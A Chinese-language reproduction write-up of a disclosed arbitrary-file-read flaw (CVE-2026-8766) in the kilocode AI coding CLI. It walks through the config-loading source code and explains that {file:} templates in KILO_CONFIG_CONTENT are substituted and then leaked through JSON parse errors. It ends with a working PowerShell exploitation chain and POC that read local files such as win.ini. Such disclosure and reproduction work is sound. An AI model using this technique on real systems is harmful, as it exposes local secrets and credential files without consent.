Kilo-Org kilocode (CVE-2026-8766)

前言

参考披露的报告复现

  • 受影响产品:Kilo-Org kilocode,一个开源的 AI 代码助手 CLI 工具
  • 受影响版本:≤ 7.0.47
  • 漏洞载体:KILO_CONFIG_CONTENT 环境变量中的 {file:} 模板替换功能
  • 根本原因:不完整的修复——在从旧命名空间 OPENCODE_ 迁移到 KILO_ 时,遗留的模板替换功能未被禁用,导致控制环境变量的攻击者可读取任意本地文件

漏洞复现

环境搭建

cd kilocode-7.0.47
bun install

源码结构

kilocode 采用典型的 monorepo 结构,由多个包组成,核心 CLI 功能位于 packages/opencode

kilocode-7.0.47/
├── .github/          # GitHub 工作流、Issue 模板、CI 配置
├── .husky/           # Git hooks 工具
├── .kilocode/        # 项目自身的默认配置模板(可能被安装到用户目录)
├── .opencode/        # 另一个配置模板目录(旧版遗留或不同应用场景)
├── .vscode/          # VSCode 工作区配置
├── .zed/             # Zed 编辑器配置
├── github/           # 与 GitHub 集成相关的辅助脚本/模块
├── nix/              # Nix 包管理器相关定义
├── packages/         # 核心代码,包含多个包(CLI、SDK 等)
├── patches/          # 对依赖的补丁文件
├── script/           # 构建、发布等辅助脚本
├── sdks/             # 多语言 SDK 源码
├── specs/            # 规范或设计文档
├── package.json      # 根包管理文件(工作区配置)
├── bun.lock          # Bun 依赖锁定文件
├── tsconfig.json     # 根 TypeScript 配置
├── turbo.json        # Turborepo 任务编排配置
└── ...               # 其他文档/许可/安装脚本

核心代码集中在 packages/ 目录下

packages/
├── app/                  # 前端应用(Web UI)
├── containers/           # Docker 容器化部署定义
├── desktop/              # 桌面端应用(Electron/Tauri)
├── extensions/           # 编辑器扩展(VSCode 等)
├── kilo-docs/            # 文档站点
├── kilo-gateway/         # API 网关 / 代理层
├── kilo-i18n/            # 国际化翻译文件
├── kilo-telemetry/       # 遥测与数据上报模块
├── kilo-ui/              # UI 组件库
├── kilo-vscode/          # VSCode 扩展入口
├── opencode/             # 核心后端/CLI 逻辑(漏洞所在包)
├── plugin/               # 插件系统定义
├── script/               # CLI 辅助脚本
├── sdk/                  # 对外的 SDK 接口
├── storybook/            # UI 组件 Storybook 演示
├── ui/                   # 通用 UI 元素
└── util/                 # 跨包共享的工具函数

进入 opencode 目录中

packages/opencode/
├── bin/                          # CLI 可执行入口脚本 (bun/node)
├── migration/                    # 数据库迁移文件 (SQL/TypeScript)
├── script/                       # 构建/部署/测试辅助脚本
├── src/                          # 核心源码
│   ├── config/
│   │   └── config.ts             # 配置加载、合并、parseText、load 等
│   ├── commands/                 # 子命令实现 (auth, chat, serve 等)
│   ├── providers/                # AI 模型提供商适配层
│   ├── tools/                    # 内置工具 (文件操作、搜索等)
│   ├── util/                     # 工具函数
│   └── index.ts                  # CLI 主入口,初始化命令与配置
├── test/                         # 单元测试与集成测试
├── .gitignore
├── AGENTS.md                     # AI Agent 设计文档
├── bunfig.toml                   # Bun 运行时配置
├── BUN_SHELL_MIGRATION_PLAN.md   # Shell 迁移计划文档
├── Dockerfile                    # 容器化构建文件
├── drizzle.config.ts             # Drizzle ORM 数据库配置
├── package.json                  # opencode 包依赖与脚本
├── parsers-config.ts             # 解析器配置
├── README.md
├── sst-env.d.ts                  # SST (Serverless Stack) 环境类型定义
└── tsconfig.json                 # TypeScript 编译配置

漏洞代码

在 config.ts 以及 paths.js 中,先过一遍整体代码

// 检查是否通过环境变量 KILO_CONFIG_CONTENT 传入了自定义配置
if (process.env.KILO_CONFIG_CONTENT) {
  // 从环境变量的内容中加载配置,并与已有配置进行合并
  result = mergeConfigConcatArrays(
    result,
    await load(process.env.KILO_CONFIG_CONTENT, {
      dir: Instance.directory,   // 指定解析相对路径时使用的目录
      source: "KILO_CONFIG_CONTENT", // 标记配置来源,便于调试或错误提示
    }),
  )
  // 记录日志,表明已从环境变量成功加载自定义配置
  log.debug("loaded custom config from KILO_CONFIG_CONTENT")
}
async function load(text: string, options: { path: string } | { dir: string; source: string }) {
    // 保留原始文本
    const original = text
    // 统一获取源标识:文件模式下用路径,目录模式下用 source 字段
    const source = "path" in options ? options.path : options.source
    // 判断是否为文件模式(传入 path 参数)
    const isFile = "path" in options
    // 使用 ConfigPaths 解析配置文本,支持两种模式:
    // - 文件模式:直接传入路径
    // - 目录模式:传入 { source, dir } 对象
    const data = await ConfigPaths.parseText(
      text,
      "path" in options ? options.path : { source: options.source, dir: options.dir },
    )

    // 对解析结果进行归一化处理,移除旧版 tui 相关字段
    const normalized = (() => {
      // 如果 data 为空、非对象或者是数组,直接返回
      if (!data || typeof data !== "object" || Array.isArray(data)) return data
      // 浅拷贝,避免修改原始对象
      const copy = { ...(data as Record<string, unknown>) }
      // 检查是否存在旧版 tui 字段
      const hadLegacy = "theme" in copy || "keybinds" in copy || "tui" in copy
      if (!hadLegacy) return copy
      // 移除已废弃的字段
      delete copy.theme
      delete copy.keybinds
      delete copy.tui
      // 记录警告日志,提示用户迁移配置
      log.warn("tui keys in opencode config are deprecated; move them to tui.json", { path: source })
      return copy
    })()

    // 使用 Zod 或类似库进行安全解析/校验
    const parsed = Info.safeParse(normalized)
    if (parsed.success) {
      // 如果解析成功且是文件模式,且没有 $schema 字段,则自动注入 schema 声明
      if (!parsed.data.$schema && isFile) {
        parsed.data.$schema = "https://kilo.ai/config.json" // kilocode_change: 使用 kilo.ai 的 schema
        // 在原始文本开头插入 $schema 字段,并写回文件
        const updated = original.replace(/^\s*\{/, '{\n  "$schema": "https://kilo.ai/config.json",') // kilocode_change
        await Bun.write(options.path, updated).catch(() => {})
      }
      const data = parsed.data
      // 如果存在插件列表且是文件模式,尝试解析插件路径为绝对路径
      if (data.plugin && isFile) {
        for (let i = 0; i < data.plugin.length; i++) {
          const plugin = data.plugin[i]
          try {
            // 使用 import.meta.resolve 解析插件标识符(基于当前文件路径)
            data.plugin[i] = import.meta.resolve!(plugin, options.path)
          } catch (e) {
            try {
              // import.meta.resolve 有时在新创建的 node_modules 中会失败
              // 回退到 Node.js 的 require.resolve 进行解析
              const require = createRequire(options.path)
              const resolvedPath = require.resolve(plugin)
              // 将解析后的绝对路径转换为 file:// URL
              data.plugin[i] = pathToFileURL(resolvedPath).href
            } catch {
              // 忽略无法解析的插件,可能是一个通用字符串标识符,如 "mcp-server"
            }
          }
        }
      }
      // 返回最终有效的配置数据
      return data
    }

    // 解析失败,抛出带有详细错误信息的自定义异常
    throw new InvalidError({
      path: source,
      issues: parsed.error.issues,
    })
  }
export async function parseText(
  text: string,
  input: ParseSource,
  missing: "error" | "empty" = "error"
) {
  // 将配置来源对象转为可读的字符串标识(例如 "KILO_CONFIG_CONTENT" 或文件路径)
  const configSource = source(input)

  // 步骤 1:执行变量替换,将文本中的变量占位符替换为实际值
  text = await substitute(text, input, missing)

  // 准备收集 JSONC 解析过程中产生的错误
  const errors: JsoncParseError[] = []

  // 步骤 2:解析 JSONC 文本,允许尾随逗号(非标准 JSON 特性)
  const data = parseJsonc(text, errors, { allowTrailingComma: true })

  // 如果存在解析错误,构建人类可读的详细错误信息并抛出
  if (errors.length) {
    // 将文本按行分割,用于计算错误位置
    const lines = text.split("\n")

    // 将每个错误格式化为包含行号、列号和上下文信息的字符串
    const errorDetails = errors
      .map((e) => {
        // 计算错误所在行号:将文本在错误偏移量之前的部分按换行分割,数组长度即为行号
        const beforeOffset = text.substring(0, e.offset).split("\n")
        const line = beforeOffset.length
        // 计算列号:最后一行内容的长度 + 1(索引转为人类习惯的计数)
        const column = beforeOffset[beforeOffset.length - 1].length + 1
        // 获取出错的那一行原文
        const problemLine = lines[line - 1]
        // 格式化错误码及位置信息
        const error = `${printParseErrorCode(e.error)} at line ${line}, column ${column}`
        // 如果该行不存在则只返回错误位置,否则附加原文和箭头指示器
        if (!problemLine) return error
        // 构造类似 "   Line 2: { invalid }...\n          ^" 的格式,column+9 使箭头与行号对齐
        return `${error}\n   Line ${line}: ${problemLine}\n${"".padStart(column + 9)}^`
      })
      .join("\n")

    // 抛出包含完整原始文本和错误详情的 JsonError,便于开发者定位问题
    throw new JsonError({
      path: configSource,
      message: `\n--- JSONC Input ---\n${text}\n--- Errors ---\n${errorDetails}\n--- End ---`,
    })
  }

  // 解析成功,返回结果对象
  return data
}

所有配置源统一经过 load(text, options) 函数,该函数内部调用 ConfigPaths.parseText(text, input)

parseText 的执行顺序是先模板替换,再 JSONC 解析,其流程为:

  1. 调用 substitute(text, input),将字符串中所有 {file:<path>} 模板替换为对应文件内容
  2. 使用 parseJsonc 解析替换后的字符串
  3. 如果解析失败,错误信息会原样打印替换后的整个文本,从而直接泄露文件内容

环境变量 KILO_CONFIG_CONTENT 的处理分支与文件配置使用完全相同的 load 函数,未做任何模板禁用处理,形成漏洞

利用链

# 1. 回到正确的执行目录
cd C:\test\kilocode-7.0.47\packages\opencode

# 2. 设置环境变量:模板在键名中,目标文件为项目自身的 package.json(双引号丰富,必破坏语法)
$env:KILO_CONFIG_CONTENT='{"{file:C:\test\kilocode-7.0.47\package.json}":"value"}'

# 3. 执行命令触发配置加载
bun run src/index.ts auth ls --print-logs

POC

$env:KILO_CONFIG_CONTENT='{"a"{file:C:\Windows\win.ini}":"x"}'
bun run src/index.ts auth ls --print-logs